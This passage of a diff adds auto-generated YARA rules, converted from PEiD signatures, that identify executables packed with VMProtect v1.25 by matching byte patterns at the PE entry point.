+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03003_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5E 59 5D 9D 58 5B 5A 5F 5A C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03004_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5E 5A 59 5D 5B 58 5F 9D 5F C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03005_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5E 5A 5F 58 58 5D 59 5B 9D C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03006_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5E 5B 59 5D 5F 9D 5A 58 5F C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03007_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5E 5B 5A 59 5D 58 5F 9D 5D C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03008_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5E 5B 5D 5A 5F 58 59 58 9D C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03009_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5E 5F 5B 59 5D 58 9D 5A 5D C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03010_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5E 5F 5F 9D 59 5D 5A 5B 58 C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03011_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5F 5A 5B 5E 5D 5B 9D 59 58 C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03012_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5F 5A 5E 5E 59 9D 5D 5B 58 C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03013_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5F 5B 5E 5B 5D 59 5A 9D 58 C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03014_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5F 5E 58 5D 5B 59 9D 5A 5D C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03015_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5F 5E 5D 59 9D 5B 58 5A 5A C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03016_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5F 5E 9D 5D 58 5B 5A 5A 59 C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03017_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5F 9D 5B 59 5E 5B 5D 58 5A C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03018_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 9D 58 5F 5F 5B 5A 59 5D 5E C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03019_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 9D 5D 59 5F 5E 58 58 5A 5B C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03020_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 9D 5D 5E 58 59 5B 5F 5A 5F C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03021_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 9D 5F 5D 5E 5B 58 59 5A 59 C3}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_03022_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 58 5A 9D 5D 59 5B 59 5E 5F C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03023_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 58 5B 59 59 5E 5D 5F 5A 9D C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03024_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 58 5B 59 5F 5A 5E 5D 9D 5A C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03025_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 58 5B 5A 5F 59 5D 5D 5E 9D C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03026_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 58 5B 9D 5A 5F 5D 5A 5E 59 C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03027_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 58 5F 59 5A 59 5E 5D 5B 9D C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03028_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 58 5F 5B 5D 5E 5B 5A 59 9D C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03029_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 58 5F 5E 59 5E 5D 5B 5A 9D C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03030_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 58 9D 5F 5D 5E 5B 59 5A 5A C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03031_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 59 58 5A 5F 5B 5E 5D 5D 9D C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03032_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 59 58 5B 5D 5F 5E 5A 5F 9D C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03033_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 59 5A 9D 5E 58 5F 5D 59 5B C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03034_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 59 5A 9D 5F 5B 5B 5D 58 5E C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03035_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 59 5B 58 5A 5B 5F 5E 9D 5D C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03036_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 59 5D 58 59 9D 5E 5A 5B 5F C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03037_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5A 5F 5B 58 59 5D 9D 5D 5E C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03038_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5A 5F 5F 58 5E 5D 9D 59 5B C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03039_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5A 9D 5E 5D 58 5F 5A 59 5B C3}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_03040_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5B 5E 58 5D 5F 9D 5A 59 5F C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03041_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5B 5E 59 5A 58 9D 5D 5B 5F C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03042_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5B 5E 9D 58 5D 5F 5A 5D 59 C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03043_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5B 5F 58 5A 5E 9D 5D 59 59 C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03044_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5B 5F 5B 9D 59 5A 5D 58 5E C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03045_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5B 9D 5A 5F 59 58 5D 5E 5E C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03046_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5D 5D 58 5F 59 5B 9D 5E 5A C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03047_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5D 5E 9D 58 5B 5F 59 58 5A C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03048_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5D 5F 59 59 5A 5E 5B 9D 58 C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03049_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5D 5F 5A 5E 5D 5B 58 9D 59 C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03050_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5D 5F 5E 5B 9D 58 5B 59 5A C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03051_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5E 58 5A 5D 5F 5B 5A 59 9D C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03052_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5E 58 5F 5D 5B 5A 59 9D 5F C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03053_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5E 59 58 5F 5D 58 5B 9D 5A C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03054_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5E 59 5F 5B 5D 58 5A 9D 5E C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03055_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5E 5D 59 5B 5A 58 5F 9D 58 C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03056_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5E 5D 5A 58 59 5B 5A 5F 9D C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03057_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5E 5D 5A 5F 59 58 9D 5B 5B C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03058_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5E 5F 9D 5D 5B 58 5E 5A 59 C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03059_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5F 58 5B 59 5E 5F 5D 5A 9D C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03060_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5F 58 5B 5F 5A 59 5D 9D 5E C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03061_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5F 58 5B 9D 5A 5D 5F 5E 59 C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03062_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5F 5A 5B 59 5D 9D 59 5E 58 C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03063_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5F 5D 58 59 9D 5E 5B 5A 5E C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03064_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5F 5D 5E 58 5B 9D 59 5A 5B C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03065_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5F 5E 9D 59 5A 5A 5B 58 5D C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03066_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5F 5F 5B 5A 9D 5E 5D 59 58 C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03067_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 9D 59 5A 5F 5E 5D 5D 58 5B C3}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_03068_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 9D 59 5D 5B 5F 58 5E 5A 5A C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03069_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 9D 5A 58 5B 5F 59 5D 5E 59 C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03070_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 9D 5A 5F 58 5B 59 5B 5D 5E C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03071_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 9D 5A 5F 5D 58 5B 58 59 5E C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03072_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 9D 5B 5D 5A 5F 59 5E 58 59 C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03073_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 9D 5D 5A 5B 58 5F 5E 5E 59 C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03074_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 9D 5F 58 5A 5E 5D 5E 5B 59 C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03075_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 58 59 5E 5D 5F 5B 9D 5A 5F C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03076_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 58 59 5E 5F 5D 5B 5A 5A 9D C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03077_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 58 59 5E 9D 5F 59 5A 5B 5D C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03078_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 58 5B 5D 5E 5A 5E 59 9D 5F C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03079_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 58 5E 5F 5D 5A 58 5B 9D 59 C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03080_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 58 5F 5E 5E 5A 5D 5B 59 9D C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03081_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 58 9D 5B 5E 5A 5D 5F 5F 59 C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03082_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 59 5A 5B 9D 58 5E 5F 58 5D C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03083_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 59 5D 5D 5A 5F 5E 58 9D 5B C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03084_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 59 5D 5F 5B 5E 9D 58 5A 5B C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03085_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 59 5F 5D 9D 5E 5B 5A 5A 58 C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03086_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 59 5F 5F 5E 5D 5A 5B 9D 58 C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03087_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5A 59 58 5D 5E 5D 5F 5B 9D C3}
+    condition:
+        $a at pe.entry_point
+}
+
